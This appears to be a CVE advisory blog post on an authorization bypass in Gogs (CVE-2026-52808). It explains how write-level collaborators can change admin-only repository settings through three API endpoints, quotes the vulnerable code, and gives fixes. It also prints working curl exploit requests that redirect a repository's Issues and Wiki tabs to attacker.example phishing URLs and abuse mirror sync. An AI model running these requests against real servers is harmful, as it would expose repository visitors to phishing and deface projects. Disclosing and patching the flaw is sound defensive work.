Gogs Write-Level Collaborator Authorization Bypass (CVE-2026-52808) -DC-Jun2026-583

Listen to this Post

CVE-2026-52808 is an incorrect authorization vulnerability in Gogs, a self‑hosted Git service. Three administrative API endpoints—PATCH /api/v1/repos/:owner/:repo/issue-tracker, PATCH /api/v1/repos/:owner/:repo/wiki, and POST /api/v1/repos/:owner/:repo/mirror-sync—are protected by the middleware `reqRepoWriter()` rather than the stricter `reqRepoAdmin()` .
`reqRepoWriter()` (defined in `internal/route/api/v1/api.go` lines 131‑138) grants access to any authenticated user whose repository `AccessMode >= AccessModeWrite` . In contrast, the equivalent web UI operations (under the `/settings` subtree in cmd/gogs/web.go) are guarded by reqRepoAdmin, which requires `AccessMode >= AccessModeAdmin` . The access mode hierarchy in Gogs is AccessModeWrite < AccessModeAdmin, meaning a write‑level collaborator satisfies `reqRepoWriter()` but fails `RequireRepoAdmin()` .
The affected handlers—issueTracker(), wiki(), and `mirrorSync()` in internal/route/api/v1/repo_repo.go—perform no additional privilege checks before mutating repository state . For example, `issueTracker()` directly writes attacker‑controlled values to `repo.ExternalTrackerURL` and calls `database.UpdateRepository(repo, false)` without any admin validation . The `wiki()` handler follows the same pattern, writing to `repo.ExternalWikiURL` .

A write‑level collaborator can therefore:

  • Disable the native issue tracker or wiki,
  • Inject an external tracker/wiki URL that redirects all repository visitors to an attacker‑controlled phishing or malware site,
  • Trigger mirror synchronization repeatedly, causing resource abuse .
    All three operations are silent—no notification is sent to repository administrators when these settings are changed via the API . The vulnerability is scored as High (CVSS 3.1: 7.1) with vector `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` .

DailyCVE Form:

Platform: Gogs
Version: All versions (up to fix)
Vulnerability: Authorization Bypass
Severity: High (7.1)
date: 2026-06-19

Prediction: 2026-07-15

What Undercode Say:

Analytics

  • Attack Vector: Network – API endpoints reachable over HTTP/S
  • Attack Complexity: Low – single API call sufficient
  • Privileges Required: Low – only write‑level collaborator access
  • User Interaction: None – attacker acts unilaterally
  • Scope: Unchanged – impact contained to targeted repository
  • Confidentiality Impact: None
  • Integrity Impact: High – permanent configuration mutation
  • Availability Impact: Low – feature disablement

Bash Commands & Codes

1) Redirect Issues tab to attacker‑controlled phishing page

curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker" \
-H "Authorization: token WRITER_TOKEN" \
-H "Content-Type: application/json" \
--data '{"enable_issues":false,"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}'

Expected: `HTTP 204 No Content`

2) Redirect Wiki tab to attacker‑controlled page

curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/wiki" \
-H "Authorization: token WRITER_TOKEN" \
-H "Content-Type: application/json" \
--data '{"enable_wiki":false,"enable_external_wiki":true,"external_wiki_url":"https://attacker.example/phish-wiki"}'

Expected: `HTTP 204 No Content`

3) Force mirror sync (resource abuse)

curl -i -X POST "https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync" \
-H "Authorization: token WRITER_TOKEN"

Expected: `HTTP 202 Accepted`

Affected Code Snippets

Route registration (vulnerable) – `internal/route/api/v1/api.go:365-367` :

m.Patch("/issue-tracker", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoWriter(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoWriter(), mirrorSync)

Middleware (too permissive) – `internal/route/api/v1/api.go:131-138` :

func reqRepoWriter() macaron.Handler {
return func(c context.Context) {
if !c.Repo.IsWriter() {
c.Status(http.StatusForbidden)
return
}
}
}

Handler (no admin check) – `internal/route/api/v1/repo_repo.go:400-428` :

func issueTracker(c context.APIContext, form editIssueTrackerRequest) {
_, repo := parseOwnerAndRepo(c)
// ...
if form.ExternalTrackerURL != nil {
repo.ExternalTrackerURL = form.ExternalTrackerURL // ← attacker-controlled
}
// ...
database.UpdateRepository(repo, false) // ← no admin check
}

Web UI (correctly strict) – `cmd/gogs/web.go:425-472` :

m.Group("/:username/:reponame", func() {
m.Group("/settings", func() {
m.Combo("").Get(repo.Settings).Post(...)
}, ...)
}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())

Admin check (correct) – `context/repo.go:434-441` :

func RequireRepoAdmin() macaron.Handler {
return func(c Context) {
if !c.IsLogged || (!c.Repo.IsAdmin() && !c.User.IsAdmin) {
c.NotFound()
return
}
}
}

Exploit:

Precondition: Attacker is added as a repository collaborator with write access (AccessMode == AccessModeWrite) .

Execution Chain:

  1. Attacker sends a crafted `PATCH` request to `/api/v1/repos/OWNER/REPO/issue-tracker` with a valid writer token and a payload setting `enable_external_tracker=true` and an attacker‑controlled `external_tracker_url` .
  2. Middleware `reqRepoWriter()` checks `c.Repo.IsWriter()` → `AccessMode >= AccessModeWrite` → passes .
  3. Handler `issueTracker()` writes the malicious URL directly to the repository record and calls `database.UpdateRepository()` – no admin check occurs .
  4. All visitors who click the “Issues” tab are redirected to the attacker’s server. The change persists until a repo admin manually reverses it .
    The same flow applies to the wiki endpoint and the mirror‑sync endpoint (the latter can be abused for denial‑of‑service via repeated triggers) .

Protection:

Option 1 (Preferred): Replace `reqRepoWriter()` with `reqRepoAdmin()` on all three endpoints at the route registration level :

// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoAdmin(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoAdmin(), mirrorSync)

This one‑line change per endpoint aligns the API authorization with the web UI’s established policy .
Option 2 (Defense‑in‑depth): Add an explicit `c.Repo.IsAdmin()` check at the top of each handler :

func issueTracker(c context.APIContext, form editIssueTrackerRequest) {
if !c.Repo.IsAdmin() {
c.Status(http.StatusForbidden)
return
}
// ...
}

This duplicates middleware logic but provides an additional safeguard if the route middleware is ever accidentally altered .

Impact:

  • A write‑level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who click the Issues link to a phishing or malware‑serving page .
  • The same redirect attack applies to the Wiki tab via the external wiki URL setting .
  • Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker’s change persists even if their collaborator access is later revoked .
  • Mirror sync can be triggered repeatedly, causing unnecessary load on the upstream mirror source and consuming network resources .
  • All three operations are silent – no notification is sent to repo admins when these settings change via the API .

Vulnerability discovered and reported by bugbunny.ai.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top